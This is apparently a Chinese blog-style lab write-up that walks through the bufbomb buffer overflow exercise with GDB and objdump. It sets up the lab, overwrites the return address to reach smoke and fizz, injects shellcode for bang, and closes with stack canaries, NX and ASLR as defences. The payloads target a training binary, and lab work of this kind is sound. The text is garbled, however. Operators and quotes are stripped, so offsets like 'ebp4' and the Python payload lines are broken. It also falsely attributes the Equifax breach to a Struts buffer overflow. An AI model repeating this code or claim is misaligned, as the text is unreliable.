计算机系统安全实验:利用GDB与objdump剖析缓冲区溢出攻击链 1. 初识缓冲区溢出攻击第一次听说缓冲区溢出攻击时我脑海中浮现的是装满水的杯子不断溢出画面的场景。在计算机世界里这个概念同样形象——当程序向固定大小的缓冲区写入超过其容量的数据时多余的数据就会溢出到相邻内存空间。这种看似简单的内存错误却能被攻击者精心利用来劫持程序执行流程。记得2017年Equifax数据泄露事件中攻击者正是利用Apache Struts框架的缓冲区溢出漏洞导致1.43亿用户的敏感信息泄露。这让我意识到理解缓冲区溢出不仅是学术需求更是现实安全防御的重要基础。在Linux系统下我们可以通过一个简单的例子感受缓冲区溢出的威力。下面这段代码就存在典型溢出漏洞void vulnerable_function() { char buffer[8]; gets(buffer); // 危险函数不检查输入长度 printf(Input: %s\n, buffer); }当输入超过8个字符时程序就会出现段错误。这是因为多余的字符覆盖了栈上的关键数据。在实验环境中我们将使用GDB调试器和objdump反汇编工具像侦探一样剖析这种攻击的完整链条。2. 实验环境搭建与工具准备工欲善其事必先利其器。我们的实验环境需要以下组件Ubuntu 18.04 LTS32位版本更易演示GDB增强工具建议安装GEF或Peda# 安装GEF wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py echo source ~/.gdbinit-gef.py ~/.gdbinit编译工具链sudo apt install gcc-multilib g-multilib目标程序bufbomb实验提供的漏洞程序特别需要注意的是现代系统默认开启了多种保护机制我们需要暂时关闭它们以便实验# 关闭地址空间随机化 sudo sysctl -w kernel.randomize_va_space0 # 编译时关闭栈保护 gcc -m32 -fno-stack-protector -z execstack -o bufbomb bufbomb.cobjdump的使用是理解程序内部结构的关键。通过以下命令可以查看程序的汇编代码objdump -d -M intel bufbomb bufbomb.asm这个命令会生成带有Intel语法汇编代码的文件其中-d参数表示反汇编可执行段-M intel指定使用Intel汇编语法相比ATT语法更易读。3. 栈帧结构与函数调用机制要理解缓冲区溢出攻击必须深入掌握栈帧结构。当一个函数被调用时栈上会分配一个新的栈帧其典型布局如下以32位系统为例高地址 ----------------- | 参数n | ----------------- | ... | ----------------- | 参数1 | ----------------- | 返回地址 | -- 攻击目标 ----------------- | 保存的ebp | ----------------- | 局部变量 | | ... | 低地址在实验程序bufbomb中关键的getbuf()函数汇编代码如下080491f4 getbuf: 80491f4: 55 push ebp 80491f5: 89 e5 mov ebp,esp 80491f7: 83 ec 38 sub esp,0x38 80491fa: 8d 45 d8 lea eax,[ebp-0x28] 80491fd: 89 04 24 mov DWORD PTR [esp],eax 8049200: e8 f5 fa ff ff call 8048cfa Gets 8049205: b8 01 00 00 00 mov eax,0x1 804920a: c9 leave 804920b: c3 ret这段代码揭示了几个关键信息栈空间分配了0x3856字节缓冲区起始地址在ebp-0x2840字节处使用不安全的Gets函数读取输入通过GDB调试我们可以实际观察栈布局。在getbuf函数入口设置断点gdb bufbomb (gdb) break *0x80491f4 (gdb) run -u [你的ID]输入info frame命令可以查看当前栈帧信息x/20wx $esp则能以16进制显示栈内容。4. 基础攻击劫持控制流到smoke函数第一关目标是让getbuf()返回到smoke()而非原调用者。这需要三步定位smoke函数地址objdump -d bufbomb | grep -A 10 smoke:输出类似08048eb0 smoke: 8048eb0: 55 push ebp ...得到smoke地址为0x08048eb0。计算溢出偏移量缓冲区起始ebp-0x28返回地址位于ebp4偏移量 0x28 4 44字节构造攻击字符串 使用Python生成包含smoke地址的payloadpython -c print A*44 \xb0\x8e\x04\x08 smoke_input注意地址采用小端格式。在GDB中验证攻击效果(gdb) run smoke_input如果看到Smoke!: You called smoke()的输出说明攻击成功。关键技巧在GDB中可以使用cyclic工具自动计算偏移量。首先生成测试字符串gdb-peda$ pattern create 100 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA...当程序崩溃时查看覆盖EIP的值gdb-peda$ x/wx $esp 0xffffd6ac: 0x41414641 gdb-peda$ pattern offset 0x41414641 1094796865 found at offset: 445. 进阶攻击带参数跳转到fizz函数第二关要求跳转到fizz()并传入cookie参数。通过分析fizz的汇编代码08048e60 fizz: 8048e60: 55 push ebp 8048e61: 89 e5 mov ebp,esp 8048e63: 83 ec 18 sub esp,0x18 8048e66: 8b 45 08 mov eax,DWORD PTR [ebp0x8] 8048e69: 3b 05 08 d1 04 08 cmp eax,DWORD PTR ds:0x804d108 ...可以看出参数存储在ebp8的位置。我们需要构造的栈布局如下[44字节填充][fizz地址][4字节返回地址][cookie值]具体步骤获取个人cookie./makecookie [你的ID]假设得到0x642b7ea2。构造payloadimport struct payload A*44 payload struct.pack(I, 0x08048e60) # fizz地址 payload B*4 # 新的返回地址可任意 payload struct.pack(I, 0x642b7ea2) # cookie with open(fizz_input, w) as f: f.write(payload)在GDB中调试时可以在fizz函数设置断点检查参数是否正确传递(gdb) break *0x8048e66 (gdb) run fizz_input (gdb) x/wx $ebp8 0xffffd6dc: 0x642b7ea26. 高级攻击执行自定义shellcode第三关要求修改全局变量global_value后跳转到bang函数。这需要注入并执行自定义汇编代码步骤如下编写汇编代码 创建exploit.s文件mov eax, 0x804d108 ; cookie地址 mov eax, [eax] mov ebx, 0x804d100 ; global_value地址 mov [ebx], eax push 0x08048e10 ; bang地址 ret编译提取机器码nasm -f elf exploit.s objdump -d exploit.o得到类似如下的机器码a1 08 d1 04 08 a3 00 d1 04 08 68 10 8e 04 08 c3确定缓冲区地址 在GDB中运行到getbuf的Gets调用前(gdb) break *0x8049200 (gdb) run (gdb) print/x $eax $1 0xffffd680构造最终payloadshellcode \xa1\x08\xd1\x04\x08\xa3\x00\xd1\x04\x08\x68\x10\x8e\x04\x08\xc3 payload shellcode.ljust(44, \x90) # NOP填充 payload struct.pack(I, 0xffffd680) # shellcode地址关键点实际环境中地址可能变化可以使用NOP雪橇技术提高成功率。即在shellcode前填充大量0x90NOP指令只要跳转到其中任意一个NOP最终都能滑向shellcode。7. 防御技术与实验思考完成攻击实验后我们应该思考现代系统如何防御这类攻击栈保护Stack Canary GCC的-fstack-protector选项会在栈上插入金丝雀值在返回前验证其完整性。数据执行保护DEP/NX 通过-z noexecstack编译选项标记栈为不可执行。地址空间随机化ASLR 系统级的防护随机化内存布局使地址难以预测。在实验中我特别注意到几个易错点地址的小端表示容易弄错字节顺序GDB中的栈地址与实际运行时有差异可通过env - gdb解决shellcode中包含空字节会导致gets提前终止通过这个实验我深刻理解了为什么C/C中要避免使用gets、strcpy等危险函数。即使是简单的内存错误在攻击者手中也可能变成严重的漏洞。作为开发者我们应该始终使用长度受限的函数如fgets、strncpy启用所有安全编译选项对用户输入保持高度警惕